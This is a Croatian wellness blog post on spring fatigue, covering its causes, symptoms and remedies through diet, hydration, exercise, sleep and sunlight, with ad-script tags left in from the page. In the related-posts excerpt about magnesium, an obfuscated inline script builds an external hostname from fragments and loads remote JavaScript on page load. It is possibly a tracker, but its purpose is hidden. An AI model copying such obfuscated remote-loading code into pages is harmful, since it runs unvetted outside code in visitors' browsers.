PROLJETNI UMOR - BEZVOLJNOST I MANJAK ENERGIJE





Proljetni umor - bezvoljnost i manjak energije 




Dani su dulji, temperature rastu, priroda se budi, a vi se osjećate umornije nego usred zime? Niste jedini. Proljetni umor pojava je o kojoj se svake godine govori, a iako nije službena medicinska dijagnoza, vrlo je stvaran osjećaj za mnoge ljude. Riječ je o kombinaciji fizičkih i psihičkih simptoma koji se najčešće javljaju na prijelazu iz zime u proljeće. Organizam se prilagođava novim uvjetima: duljem danu, promjeni temperature i drugačijem ritmu, a to kod nekih može izazvati privremeni pad energije.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Što je zapravo proljetni umor?

Proljetni umor je stanje privremene iscrpljenosti koje se javlja najčešće u ožujku i travnju. Tijekom zime naše tijelo sporije funkcionira, manje se krećemo, češće boravimo u zatvorenom prostoru, a prehrana je često teža i siromašnija svježim namirnicama.

S dolaskom proljeća dolazi do hormonskih promjena. Povećava se razina serotonina (hormona dobrog raspoloženja), dok se smanjuje melatonin (hormon sna), ali taj prijelaz ne događa se preko noći. Organizam treba vrijeme za prilagodbu, a taj proces može uzrokovati osjećaj umora i bezvoljnosti.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

Najčešći simptomi

Proljetni umor može se manifestirati kroz osjećaj iscrpljenosti i manjak energije, pospanost tijekom dana, poteškoće s koncentracijom, razdražljivost i glavobolje.

Simptomi su obično blagi i prolazni. Ako traju dulje vrijeme ili su izrazito intenzivni, važno je isključiti druge zdravstvene uzroke poput anemije, problema sa štitnjačom ili nedostatka vitamina D.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Zašto nastaje?

Uzroci proljetnog umora su razni. Prvi je promjena temperature, što uzrokuje širenje krvnih žila i dovodi do pada krvnog tlaka i osjećaja slabosti. Također, tijelu često tijekom zime nedostaje vitamina i minerala, osobito željeza, vitamina D, vitamina C i B skupine. Bitno je i napomenuti i kako dulji dani i više svjetla utječu na hormonalnu ravnotežu pa doživljavamo promjene u bioritmu.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

Kako ublažiti proljetni umor prirodnim putem?

Najbitnija je lagana, svježa prehrana. Proljeće je idealno vrijeme za „reset“ prehrane. U jelovnik uključite mladi špinat, rikolu, agrume, jagode, orašaste plodove i cjelovite žitarice.

Namirnice bogate željezom (poput leće i špinata) te vitaminom C (citrusi, paprika) mogu pomoći u borbi protiv umora. Dovoljno proteina također je važno za stabilnu energiju tijekom dana.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

Hidratacija je ključna

Blaga dehidracija često se manifestira kao umor. Povećajte unos vode, a možete uključiti i biljne čajeve poput koprive (bogate mineralima) ili mente koja osvježava organizam. Izbjegavajte pretjerivanje s kavom: iako kratkoročno podiže energiju, prevelike količine mogu dodatno iscrpiti organizam.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Kretanje na svježem zraku

Umjerena tjelesna aktivnost jedan je od najučinkovitijih načina za podizanje energije. Brza šetnja, lagano trčanje, vožnja bicikla ili vrtlarenje potiču cirkulaciju i proizvodnju endorfina. Već 20 do 30 minuta kretanja dnevno može napraviti veliku razliku.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Kvalitetan san

Iako su dani dulji, pokušajte zadržati redovit ritam spavanja. Odlazak na počinak u slično vrijeme svake večeri pomoći će stabilizirati bioritam.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>

Boravak na suncu

Sunčeva svjetlost potiče proizvodnju vitamina D i pozitivno utječe na raspoloženje. Iskoristite toplije dane za boravak na otvorenom, čak i kratku pauzu na terasi ili balkonu.

Lagani obroci, dovoljno tekućine, više kretanja i kvalitetan san najbolji su saveznici u vraćanju energije. Umjesto da se borite protiv tog razdoblja, shvatite ga kao signal tijela da mu treba malo više pažnje pa će proljeće ubrzo postati razdoblje u kojem ćete se ponovno osjećati poletno i snažno.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Proljetni umor



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

KAKO RAZLIKOVATI ISCRPLJENOST OD LIJENOSTI?

Slika
Kako razlikovati iscrpljenost od lijenosti? Ponekad se čini da su “lijenost” i “umor” isto, ali u stvarnosti to su potpuno različite stvari. Lijenost je trenutna nevoljkost za rad, gubitak interesa ili dosada koja obično prolazi nakon odmora ili promjene. Iscrpljenost ide mnogo dublje; to je fizički i mentalni umor koji ne nestaje jednostavnim predahom, a ponekad donosi i bolove u tijelu ili osjećaj gubitka kontrole. To nije prolazna faza; iscrpljenost traži stvaran odmor. <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Znakovi da si stvarno iscrpljena Ako se ovi znakovi ponavljaju kroz dulje razdoblje, velika je vjerojatnost da je riječ o iscrpljenosti, a ne o lijenosti. 1. Nedostatak motivacije cijeli dan Ako se cijeli dan osjećaš demotivirano, i to ne samo u određenim trenucima, moguće je da je riječ o iscrpljenosti. Za razliku od lijen...
Pročitajte više